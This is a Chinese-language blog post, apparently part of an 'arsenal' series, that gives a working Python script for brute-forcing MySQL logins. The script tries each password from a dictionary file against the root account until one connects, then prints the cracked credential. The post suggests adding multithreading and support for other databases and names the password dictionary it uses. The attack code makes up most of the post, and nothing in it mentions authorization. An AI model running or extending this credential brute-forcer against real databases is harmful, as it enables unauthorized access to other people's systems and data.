#我的武器库系列#之mysql数据库爆破核心实现

日常业务系统常用数据库如MySQL等,因开发人员安全意识不足,数据库对外权限设置不当,存在安全隐患,渗透人员可利用字典表穷举破解。文章给出了MySQL穷举破解的源代码,并提及可从多线程、多数据库等维度优化,还给出了所用字典表。

       我们日常业务系统常用mysql、sqlserver、oracle、db2等,多数开发人员以功能为导向,缺少安全意识,在设计开发时数据库对外权限没有进行有效设置,导致可通过外部IP方进行连接访问。该问题存在非常大的安全隐患,渗透人员利用字典表通过穷举方式进行暴力破解,一旦渗透成功,危害不言而喻。

   源代码只实现了mysql的穷举破解,sqlserver、oracle类似,不在此复述。

一、源代码


# -*- coding: UTF-8 -*-
import pymysql
def mysqlConnection(url,userName,password,dbName):

    try:
        print("userName:%s,password:%s" % (userName,password));
        # 打开数据库连接
        db = pymysql.connect(url, userName, password, dbName, charset='utf8' )
        # 使用cursor()方法获取操作游标 
        cursor = db.cursor()
        # 使用execute方法执行SQL语句
        cursor.execute("SELECT VERSION()")
        # 使用 fetchone() 方法获取一条数据
        data = cursor.fetchone()
        print ("Database version : %s " % data);
        # 关闭数据库连接
        db.close();
        return True;
    except Exception as e:
       # print(e);
        pass;
def main():
    userName = "root"
    passwordList = open("/Users/wangfeng/Downloads/Blasting_dictionary-master/password.txt"); #字典表
    passwords = passwordList.readlines();
    for password in passwords:
        check = mysqlConnection("127.0.0.1",userName.strip(),password.strip(),"mysql");
        if check :
            print("破解成功,用户名 %s,密码:%s" % (userName,password));
            break;      

if __name__ == "__main__":
    main();

二、优化

      本系列只是相关功能的核心实现,未考虑过多的技术细节及功能,在基于本代码的前提下,我们可以从多线程、多数据库、字典表等多个维度着手进行完善。本系列所用字典表为:Blasting_dictionary-master(有些老,传送门)。

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

登峰造Geek

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值